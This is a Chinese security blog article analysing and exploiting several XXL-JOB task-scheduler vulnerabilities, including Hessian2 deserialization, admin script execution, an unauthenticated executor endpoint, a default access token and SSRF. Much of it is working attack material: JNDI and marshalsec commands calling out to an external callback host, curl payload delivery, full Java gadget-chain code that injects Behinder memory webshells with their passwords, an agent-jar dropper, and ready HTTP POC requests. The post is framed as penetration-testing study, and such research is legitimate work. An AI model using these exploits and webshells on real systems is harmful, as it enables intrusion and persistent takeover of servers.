XXL-JOB漏洞分析与利用

2024-09-08 74 0

一、前言

在当今的数字化时代,任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务,确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台,因其强大的功能和易用性,被广泛部署在各种规模的系统中。然而,随着其应用的普及,安全研究人员开始关注这些系统可能存在的潜在风险,一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说,学习XXL-JOB的漏洞原理,能够在一定程度上提升渗透能力。

本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞,以及这些漏洞可能被利用的方式。

二、XXL-JOB简介

2.1 概述

XXL-JOB是一个开源的分布式任务调度平台,设计宗旨是实现任务的快速开发、简易学习和轻量级部署,同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成,它们通过网络进行通信,实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置,而执行器则负责接收任务请求并执行具体的业务逻辑。

通俗的来说,XXL-JOB就像一个超级强大的闹钟,但它不仅仅能设定固定的时间响铃,还能根据复杂的规则和条件来触发任务。想象一下,你有一个任务需要每天早上8点执行,另外一个任务需要在每月的第1天晚上12点执行,还有任务是基于某些特定事件触发的,比如数据库中的数据达到一定量时。

2.2 特点

XXL-JOB就像一个智能助手,它可以帮你设定这些任务,并且确保它们在正确的时间得到执行。它有以下几个关键特点:

  • 容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用。
  • 脚本任务:支持以GLUE模式开发和运行脚本任务,包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。
  • 动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效。
  • Rolling实时日志:支持在线查看调度结果,并且支持以Rolling方式实时查看执行器输出的完整的执行日志。

三、XXL-JOB搭建

搭建可参考官方文档:

分布式任务调度平台XXL-JOB

源码结构:

Plain Text

xxl-job-admin:调度中心

xxl-job-core:公共依赖

xxl-job-executor-samples:执行器Sample示例(选择合适的版本执行器,可直接使用,也可以参考其并将现有项目改造成执行器)

  :xxl-job-executor-sample-springboot:Springboot版本,通过Springboot管理执行器,推荐这种方式;

  :xxl-job-executor-sample-frameless:无框架版本;

这里我采用docker进行搭建,可参考:基于docker的分布式任务调度系统xxl-job搭建,注意这里我们搭建有漏洞的版本,我这里搭建的是2.0.2版本。

docker启动涉及到的命令如下:

Bash
# 安装mysql
docker pull mysql

# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456  -p 3306:3306  -v /opt:/opt mysql  --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci

# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';

# 刷新权限
flush privileges;

# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;

# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;

# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2

# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2

搭建成功,显示如下:

访问 http://ip:port/xxl-job-admin/

四、XXL-JOB漏洞复现与分析

4.1 默认口令

默认账号密码:admin/123456。

4.2 Hessian反序列化

4.2.1 漏洞复现
4.2.1.1 出网利用
影响版本:XXL-JOB <= 2.0.2

漏洞原理:/api接口存在Hessian2反序列化漏洞

漏洞复现:

访问/api接口存在如下报错响应,则存在漏洞。

这里测试使用的是jdk11,所以需要bypass高版本的限制,这里启动JNDI服务:

Bash
# 工具地址:https://github.com/welk1n/JNDI-Injection-Exploit,可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"

生成恶意序列化数据:

Bash
# 工具地址:https://github.com/mbechler/marshalsec,有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser

burp发送有问题,这里使用curl发送:

Bash
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

命令执行成功:

4.2.1.2 不出网利用
通过jdk原生 SwingLazyValue利用链,可以达到反射调用静态方法。测试jdk1.8成功,jdk9版本开始,删除了rt.jar,下面测试注入内存马。

方式一:defineClass加载字节码

调用Unsafe#defineClass方法来加载字节码,实现内存马注入,使用JMG工具(GitHub - pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java memory-shell generation tool.)生成内存马,代码参考:探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

代码需要修改的地方有:

  • bcode的值为生成的BASE64格式的内存马
  • 注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;

public class hessian_demo_main {
  static SerializerFactory serializerFactory = new SerializerFactory();
  static byte[] bcode;

  static {
      try {
          // 修改下面bcode为实际生成的BASE64格式的内存马
          bcode = Base64.decode("yv66vg...AAAAAgCi");
      } catch (Base64DecodingException e) {
          throw new RuntimeException(e);
      }
  }

  public static void main(String[] args) throws Exception {
      serializerFactory.setAllowNonSerializable(true);
      Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
      Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
      Field f = Unsafe.class.getDeclaredField("theUnsafe");
      f.setAccessible(true);
      Object unsafe = f.get(null);
      // 修改下面HttpClientUtil为实际生成内存马的类名
      Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};
      // 修改下面HttpClientUtil为实际生成内存马的类名
      SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);
      SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
      Object[] keyValueList = new Object[]{"abc", swingLazyValue};
      Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
      UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
      UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
      UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
      UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
      Hashtable<Object, Object> hashtable1 = new Hashtable<>();
      Hashtable<Object, Object> hashtable2 = new Hashtable<>();
      Hashtable<Object, Object> hashtable3 = new Hashtable<>();
      Hashtable<Object, Object> hashtable4 = new Hashtable<>();
      hashtable1.put("a", uiDefaults1);
      hashtable2.put("a", uiDefaults2);
      hashtable3.put("b", uiDefaults3);
      hashtable4.put("b", uiDefaults4);
      serObj(hashtable1, hashtable2, hashtable3, hashtable4);
      readObj();
  }

  static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
      HashMap<Object, Object> s = new HashMap<>();
      Reflections.setFieldValue(s, "size", 4);
      Class<?> nodeC;
      try {
*            nodeC = Class.forName("java.util.HashMap**$Node");
      } catch (ClassNotFoundException e) {
          nodeC = Class.forName("java.util.HashMap$*Entry");
      }
      Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
      nodeCons.setAccessible(true);
      Object tbl = Array.newInstance(nodeC, 4);
      Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
      Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
      Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
      Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
      Reflections.setFieldValue(s, "table", tbl);
      Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
      hessian2Output.setSerializerFactory(serializerFactory);
      hessian2Output.writeObject(s);
      hessian2Output.close();
  }

  static void readObj() throws Exception {
      Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
      hessian2Input.readObject();
  }
}

再通过curl发包即可:

Bash
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

这里注入的是冰蝎listener内存马:

密码: Igzafarqnx

请求路径: /

请求头: Referer: Vhmeexb

方法二:XSLT触发defineClass加载字节码

代码参考:https://yzddmr6.com/posts/swinglazyvalue-in-webshell/#%E5%88%A9%E7%94%A8%E4%BA%94%E8%90%BD%E7%9B%98xslt%E5%B9%B6%E5%8A%A0%E8%BD%BD

修改两个地方:

  • base64_payload为要注入的BASE64格式的内存马
  • class_name为注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;

import static com.qt.test.hessian_demo_main.serializerFactory;

public class hessian_demo_two {
  public static void main(String[] args) throws Exception {
      String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
              "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
              "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
              "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
              "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
              ">\n" +
              "    <xsl:template match=\"/\">\n" +
              "      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64_payload')\"/>\n" +
              "      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
              "      <xsl:variable name=\"rce\" select=\"ru:defineClass('class_name',$bs,$cl)\"/>\n" +
              "      <xsl:value-of select=\"$rce\"/>\n" +
              "    </xsl:template>\n" +
              "  </xsl:stylesheet>";

      String base64Code = "yv66vg...AAAAAgCi";
      serializerFactory.setAllowNonSerializable(true);
      String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");
      SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});
      SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});

      Object[] keyValueList = new Object[]{"abc", value1};
      Object[] keyValueList1 = new Object[]{"ccc", value2};
      UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
      UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
      UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
      UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
      Hashtable<Object, Object> hashtable1 = new Hashtable<>();
      Hashtable<Object, Object> hashtable2 = new Hashtable<>();
      Hashtable<Object, Object> hashtable3 = new Hashtable<>();
      Hashtable<Object, Object> hashtable4 = new Hashtable<>();
      hashtable1.put("a", uiDefaults1);
      hashtable2.put("a", uiDefaults2);
      hashtable3.put("b", uiDefaults3);
      hashtable4.put("b", uiDefaults4);
      serObj(hashtable1, hashtable2, hashtable3, hashtable4);
       readObj();
  }
  static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
      HashMap<Object, Object> s = new HashMap<>();
      Reflections.setFieldValue(s, "size", 4);
      Class<?> nodeC;
      try {
          nodeC = Class.forName("java.util.HashMap$Node");
      } catch (ClassNotFoundException e) {
          nodeC = Class.forName("java.util.HashMap$Entry");
      }
      Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
      nodeCons.setAccessible(true);
      Object tbl = Array.newInstance(nodeC, 4);
      Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
      Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
      Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
      Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
      Reflections.setFieldValue(s, "table", tbl);
      Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
      hessian2Output.setSerializerFactory(serializerFactory);
      hessian2Output.writeObject(s);
      hessian2Output.close();
  }

  static void readObj() throws Exception {
      Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
      hessian2Input.readObject();
  }
}

环境:jdk1.8,这里注入的是冰蝎listener内存马:

密码: Igzafarqnx

请求路径: /*

请求头: Referer: Vhmeexb

4.2.2 漏洞分析
找到触发/api路由的方法,位于com.xxl.job.admin.controller.JobApiController#api。

进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest,其中readBytes(request)方法获取请求体的数据,然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize。

下面就是Hessian2反序列化的流程:

4.3 后台命令执行

4.3.1 漏洞复现
测试环境:2.1.2(2.0.2版本powershell脚本测试执行失败),需要启动执行器,新增一个powershell脚本任务:

添加完成后,编辑GLUE,插入要执行的命令。

点击执行一次,然后点击查询调度日志,执行命令的结果在日志中。

4.3.1.1 出网利用
一般考虑反弹shell或者上线cs。

4.3.1.2 不出网利用
考虑注入一个java agent内存马,因为没有上传点,需要写一个agent马进去,测试环境:jdk1.8,先准备好agent内存马,然后将其base64编码后分割再拼接:

Java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

public class Base64FileSplit {
  public static void main(String[] args) {
      File file = new File("E:\\Agent-1.0.jar");
      FileOutputStream fos = null;
      try {
          fos = new FileOutputStream("split_base64_output.txt");
          byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符
          int bytesRead;
          // 读取文件并转换为Base64字符串
          FileInputStream fis = new FileInputStream(file);
          byte[] fileContent = new byte[(int) file.length()];
          fis.read(fileContent);
          String base64String = Base64.getEncoder().encodeToString(fileContent);
          // 分割Base64字符串并写入到文件
          for (int i = 0; i < base64String.length(); i += 1000) {
              String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";
              fos.write(line.getBytes());
              fos.write("\n".getBytes());
          }
          System.out.println("Base64字符串已成功分割并写入到文件中.");
      } catch (IOException e) {
          e.printStackTrace();
      } finally {
          if (fos != null) {
              try {
                  fos.close();
              } catch (IOException e) {
                  e.printStackTrace();
              }
          }
      }
  }
}

生成拼接的字符串。

添加一个java脚本的任务,再编辑代码。

修改代码为如下:

Java
package com.xxl.job.service.handler;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;

public class DemoGlueJobHandler extends IJobHandler {

      @Override
      public ReturnT<String> execute(String param) throws Exception {
              saveJarAndEx();
              return ReturnT.SUCCESS;
      }
public static void saveJarAndEx() {
      StringBuilder sb = new StringBuilder();
      // 拼接的base64字符串
    sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");
      ...
      ....
      ...
sb.append("...DQAAAA==");
// Base64解码
      String base64String = sb.toString();
      byte[] decodedBytes = Base64.getDecoder().decode(base64String);
      // 保存agent jar
      File jarFile = new File("test1.jar");
      try {
          FileOutputStream fileOutputStream = new FileOutputStream(jarFile);
          fileOutputStream.write(decodedBytes);
          fileOutputStream.close();
          // 执行jar
          ProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");
          Process process = processBuilder.start();
          InputStream inputStream = process.getInputStream();
          BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
          String line;
          while ((line = reader.readLine()) != null) {
              System.out.println(line);
          }
      } catch (FileNotFoundException e) {
          throw new RuntimeException(e);
      } catch (IOException e) {
          throw new RuntimeException(e);
      }
  }

执行任务,就可在控制台中看到注入成功。

冰蝎连接:

4.3.2 漏洞分析

执行任务的路由为:/jobinfo/trigger,对应的源码为:com.xxl.job.admin.controller.JobInfoController#triggerJob。

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#trigger。

调用processTrigger方法:

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#runExecutor。

这里获取执行器(9999端口启动的),并委托ExecutorBiz执行run方法。

反射调用run方法。

com.xxl.job.core.biz.impl.ExecutorBizImpl#run方法判断glueTypeEnum的值,这里传入的是powershell,进入到如下if,初始化一个ScriptJobHandler,并放入到队列中。

接着通过任务线程执行handler:com.xxl.job.core.handler.impl.ScriptJobHandler#execute,在execute方法中,会将要执行的powershell脚本内容保存到一个后缀psl的文件中,并传入ScriptUtil#execToFile方法中。

在com.xxl.job.core.util.ScriptUtil#execToFile中通过Runtime exec执行powershell文件。

其他执行方式如:shell,java同理,根据传入的glueTypeEnum获取到对应的JobHandler。

4.4 Executor未授权命令执行

4.4.1 漏洞复现
影响版本:XXL-JOB <= 2.2.0

漏洞原理:/run接口触发执行器执行脚本,acessToken为空绕过鉴权。

漏洞复现:

Executor默认是监听在9999端口,和后台执行任务导致的命令执行一样,只不过这里直接未授权请求Executor去触发脚本执行,测试版本:2.2.0,通过powershell执行。

POC:

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311

{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.4.2 漏洞分析
在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken,由于在 <= 2.2.0时,accessToken值默认为空,所以accessToken.trim().length() > 0为false,即绕过认证。

和后台通过执行任务造成的命令执行原理一样。

4.5 默认accessToken身份绕过

4.5.1 漏洞复现
影响版本:XXL-JOB <= 2.4.0

漏洞原理:用于调度通讯的 accessToken 为默认值default_token。

漏洞复现:

添加请求头,直接通过/run接口触发命令执行:

POC:

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311

{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.5.2 漏洞分析
token校验的时候获取请求头的XXL-JOB-ACCESS-TOKEN的值,和配置文件的默认accessToken 值default_token进行对比。

4.6 后台SSRF

4.6.1 漏洞复现
影响版本:XXL-JOB <= 2.3.1

漏洞原理:查看执行日志/joblog/logDetailCat接口时,会携带accessToken向执行器地址发送请求,可以通过低权限用户发送日志查看的数据包,获取accessToken,再利用accessToken去触发/run接口的命令执行。

漏洞复现:

修改executorAddress:

通过nc监听请求包,可在请求头中获取accessToken。

4.6.2 漏洞分析
在获取执行器的代码com.xxl.job.admin.core.scheduler.XxlJobScheduler#getExecutorBiz方法中,会将传入的address和配置文件中的accessToken实例化返回executorBiz,供后续发起请求。

在2.4.0版本中直接获取执行器的地址,无法利用。

总结

在本文中,我们对XXL-JOB的历史漏洞进行了梳理和分析,深入了解了其原理和攻击方式。通过对这些漏洞的剖析,我们可以更加全面地认识到XXL-JOB在安全方面存在的问题,从而在实际应用中提高警惕,防范潜在风险。

参考

探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

https://yzddmr6.com/posts/swinglazyvalue-in-webshell/

基于docker的分布式任务调度系统xxl-job搭建_xxl-job docker-CSDN博客

关于作者:

l2sec:青藤红队成员,主要研究方向为红蓝对抗和漏洞挖掘。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

BotKube:一款针对Kubernetes集群的安全监控与调试部署工具
Apache OFBiz SSRF漏洞CVE-2024-45507分析
Chainsaw:一款基于Windows事件日志的信息安全取证工具
SEMA:一款基于符号执行的恶意软件分析工具
简单易懂!Java应用中的不安全反序列化
成功破解Tor的匿名性,时序分析攻击技术这么厉害?

发布评论